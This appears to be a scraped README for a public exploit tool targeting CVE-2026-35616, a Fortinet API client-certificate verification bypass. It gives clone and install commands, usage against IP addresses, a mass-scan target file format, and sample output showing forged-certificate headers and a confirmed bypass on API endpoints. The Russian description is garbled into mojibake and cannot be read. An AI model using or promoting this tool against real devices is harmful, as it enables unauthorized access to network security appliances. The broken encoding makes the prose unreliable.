Share
## https://sploitus.com/exploit?id=8020FEB3-DF5E-5D5D-8443-712494B62543
# CVE-2026-35616
> Author: **wa6n3r** | [GitHub](https://github.com/wa6n3r) | [Web](https://wa6n3r.com)
## ΠΠΏΠΈΡΠ°Π½ΠΈΠ΅
ΠΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΡ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ ΠΎΠ±Ρ
ΠΎΠ΄Π° ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈ ΡΠ΅ΠΏΠΎΡΠΊΠΈ ΡΠ΅ΡΡΠΈΡΠΈΠΊΠ°ΡΠΎΠ² Π² API Fortinet.
Π‘ΠΊΡΠΈΠΏΡ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈ ΠΎΠ±Π½Π°ΡΡΠΆΠΈΠ²Π°Π΅Ρ Π΄ΠΎΠΏΡΡΡΠΈΠΌΡΠ΅ Common Name (CN) ΠΈΠ· ΡΠ°Π·Π»ΠΈΡΠ½ΡΡ
ΠΈΡΡΠΎΡΠ½ΠΈΠΊΠΎΠ²,
Π³Π΅Π½Π΅ΡΠΈΡΡΠ΅Ρ ΠΏΠΎΠ΄Π΄Π΅Π»ΡΠ½ΡΠΉ ΠΊΠ»ΠΈΠ΅Π½ΡΡΠΊΠΈΠΉ ΡΠ΅ΡΡΠΈΡΠΈΠΊΠ°Ρ ΠΈ Π²ΡΠΏΠΎΠ»Π½ΡΠ΅Ρ Π·Π°ΠΏΡΠΎΡΡ ΠΊ Π·Π°ΡΠΈΡΡΠ½Π½ΡΠΌ ΡΠ½Π΄ΠΏΠΎΠΈΠ½ΡΠ°ΠΌ
Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² `X-SSL-CLIENT-VERIFY` ΠΈ `X-SSL-CLIENT-CERT`.
> !!!**ΠΠ°ΠΆΠ½ΠΎ**: ΠΡΠΏΠΎΠ»ΡΠ·ΡΠΉΡΠ΅ ΡΠΎΠ»ΡΠΊΠΎ Π½Π° ΡΠΈΡΡΠ΅ΠΌΠ°Ρ
, Π½Π° ΠΊΠΎΡΠΎΡΡΠ΅ Ρ Π²Π°Ρ Π΅ΡΡΡ ΡΠ²Π½ΠΎΠ΅ ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΠ΅ Π½Π° ΡΠ΅ΡΡΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅.
## Π’ΡΠ΅Π±ΠΎΠ²Π°Π½ΠΈΡ
- Python 3.8+
- ΠΠ°Π²ΠΈΡΠΈΠΌΠΎΡΡΠΈ:
- `requests`
- `cryptography`
- `urllib3`
- ΠΠΏΡΠΈΠΎΠ½Π°Π»ΡΠ½ΠΎ: `openssl` (Π΄Π»Ρ ΡΠ°ΡΡΠΈΡΠ΅Π½Π½ΠΎΠ³ΠΎ ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½ΠΈΡ CA ΡΠ΅ΡΠ΅Π· TLS handshake)
## Π£ΡΡΠ°Π½ΠΎΠ²ΠΊΠ°
```bash
# ΠΠ»ΠΎΠ½ΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΡΠΎΠ΅ΠΊΡΠ°
git clone https://github.com/wa6n3r/CVE-2026-35616
cd CVE-2026-35616
# Π£ΡΡΠ°Π½ΠΎΠ²ΠΊΠ° Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡΠ΅ΠΉ
pip install -r requirements.txt
## ΠΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅
# ΠΠ°Π·ΠΎΠ²ΡΠΉ Π·Π°ΠΏΡΡΠΊ
python3 exploit.py
# Π‘ ΡΠΊΠ°Π·Π°Π½ΠΈΠ΅ΠΌ ΡΠ΅Π»ΠΈ ΠΈ ΠΏΠΎΡΡΠ°
python3 exploit.py [PORT]
# ΠΡΠΈΠΌΠ΅ΡΡ:
python3 exploit.py 192.168.1.100
python3 exploit.py 10.0.0.50 8443
# Π€ΠΎΡΠΌΠ°Ρ ΡΠ°ΠΉΠ»Π° ΡΠ΅Π»Π΅ΠΉ (targets.txt)
ΠΡΠΈ ΠΌΠ°ΡΡΠΎΠ²ΠΎΠΌ ΡΠ΅ΡΡΠΈΡΠΎΠ²Π°Π½ΠΈΠΈ ΡΠΎΠ·Π΄Π°ΠΉΡΠ΅ ΡΠ°ΠΉΠ» targets.txt Ρ ΠΎΠ΄Π½ΠΈΠΌ ΡΠ΅Π»Π΅Π²ΡΠΌ Π°Π΄ΡΠ΅ΡΠΎΠΌ Π½Π° ΡΡΡΠΎΠΊΡ:
192.168.1.100:443
10.0.0.50:8443
fortigate.internal
# ΠΡΡ
ΠΎΠ΄Π½ΡΠ΅ ΡΠ°ΠΉΠ»Ρ
ΠΡΠΈ ΡΡΠΏΠ΅ΡΠ½ΠΎΠΌ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ ΡΠΊΡΠΈΠΏΡ ΡΠΎΠ·Π΄Π°ΡΡ:
results/bypass_results___.json β Π΄Π΅ΡΠ°Π»ΡΠ½ΡΠΉ ΠΎΡΡΡΡ Π² ΡΠΎΡΠΌΠ°ΡΠ΅ JSON Ρ:
ΠΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½Π½ΡΠΌ CN
Π‘ΡΠ°ΡΡΡΠ°ΠΌΠΈ ΠΎΡΠ²Π΅ΡΠΎΠ² ΠΏΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡ ΡΠ½Π΄ΠΏΠΎΠΈΠ½ΡΡ
ΠΡΠ΅ΡΠΈΠΊΡΠ°ΠΌΠΈ ΠΎΡΠ²Π΅ΡΠΎΠ² Π΄Π»Ρ Π°Π½Π°Π»ΠΈΠ·Π°
# Π‘ΡΡΡΠΊΡΡΡΠ° Π²ΡΠ²ΠΎΠ΄Π°
[ wa6n3r ] β GH: github.com/wa6n3r β WEB: wa6n3r.com
[*] CVE-2026-35616 Target: https://192.168.1.100:443
[*] Discovering CA CNs from multiple sources...
[β’] TLS CA CN: 'fortinet-ca2'
[β’] ZTNA CA CN: 'support'
[*] Found 2 candidate CN(s): fortinet-ca2, support
[*] Testing 2 candidate CN(s) for bypass...
[+] CN='support' | HTTP 200 | retval=1 | BYPASS CONFIRMED
[*] Probing all cert_chain endpoints with CN='support'...
GET /api/v1/system/capabilities
HTTP 200: '{"result": {"retval": 1, ...}}'
[+] Results saved to: results/bypass_results_192.168.1.100_443_20260101_120000.json